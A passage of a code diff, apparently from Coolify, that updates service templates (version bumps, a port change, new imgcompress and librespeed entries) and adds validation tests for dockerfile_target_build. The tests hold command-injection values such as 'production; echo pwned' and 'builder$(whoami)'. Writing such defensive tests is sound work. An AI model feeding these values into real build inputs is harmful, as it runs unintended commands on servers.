"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK",
|
||||
"tags": [
|
||||
"object",
|
||||
"storage",
|
||||
|
|
|
|||
|
|
@ -818,7 +818,7 @@
|
|||
"databasus": {
|
||||
"documentation": "https://databasus.com/installation?utm_source=coolify.io",
|
||||
"slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.",
|
||||
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
|
||||
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
|
||||
"tags": [
|
||||
"postgres",
|
||||
"mysql",
|
||||
|
|
@ -1951,7 +1951,7 @@
|
|||
"heyform": {
|
||||
"documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io",
|
||||
"slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.",
|
||||
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
|
||||
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
|
||||
"tags": [
|
||||
"form",
|
||||
"builder",
|
||||
|
|
@ -1965,7 +1965,7 @@
|
|||
"category": "productivity",
|
||||
"logo": "svgs/heyform.svg",
|
||||
"minversion": "0.0.0",
|
||||
"port": "8000"
|
||||
"port": "9157"
|
||||
},
|
||||
"homarr": {
|
||||
"documentation": "https://homarr.dev?utm_source=coolify.io",
|
||||
|
|
@ -2041,6 +2041,21 @@
|
|||
"minversion": "0.0.0",
|
||||
"port": "80"
|
||||
},
|
||||
"imgcompress": {
|
||||
"documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io",
|
||||
"slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.",
|
||||
"compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK",
|
||||
"tags": [
|
||||
"compress",
|
||||
"photo",
|
||||
"server",
|
||||
"metadata"
|
||||
],
|
||||
"category": "media",
|
||||
"logo": "svgs/imgcompress.png",
|
||||
"minversion": "0.0.0",
|
||||
"port": "5000"
|
||||
},
|
||||
"immich": {
|
||||
"documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io",
|
||||
"slogan": "Self-hosted photo and video management solution.",
|
||||
|
|
@ -2417,6 +2432,19 @@
|
|||
"minversion": "0.0.0",
|
||||
"port": "3000"
|
||||
},
|
||||
"librespeed": {
|
||||
"documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io",
|
||||
"slogan": "Self-hosted lightweight Speed Test.",
|
||||
"compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==",
|
||||
"tags": [
|
||||
"speedtest",
|
||||
"internet-speed"
|
||||
],
|
||||
"category": "devtools",
|
||||
"logo": "svgs/librespeed.png",
|
||||
"minversion": "0.0.0",
|
||||
"port": "82"
|
||||
},
|
||||
"libretranslate": {
|
||||
"documentation": "https://libretranslate.com/docs/?utm_source=coolify.io",
|
||||
"slogan": "Free and open-source machine translation API, entirely self-hosted.",
|
||||
|
|
@ -4099,7 +4127,7 @@
|
|||
"seaweedfs": {
|
||||
"documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io",
|
||||
"slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.",
|
||||
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=",
|
||||
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=",
|
||||
"tags": [
|
||||
"object",
|
||||
"storage",
|
||||
|
|
|
|||
|
|
@ -236,6 +236,369 @@
|
|||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'production; echo pwned'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'builder$(whoami)'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
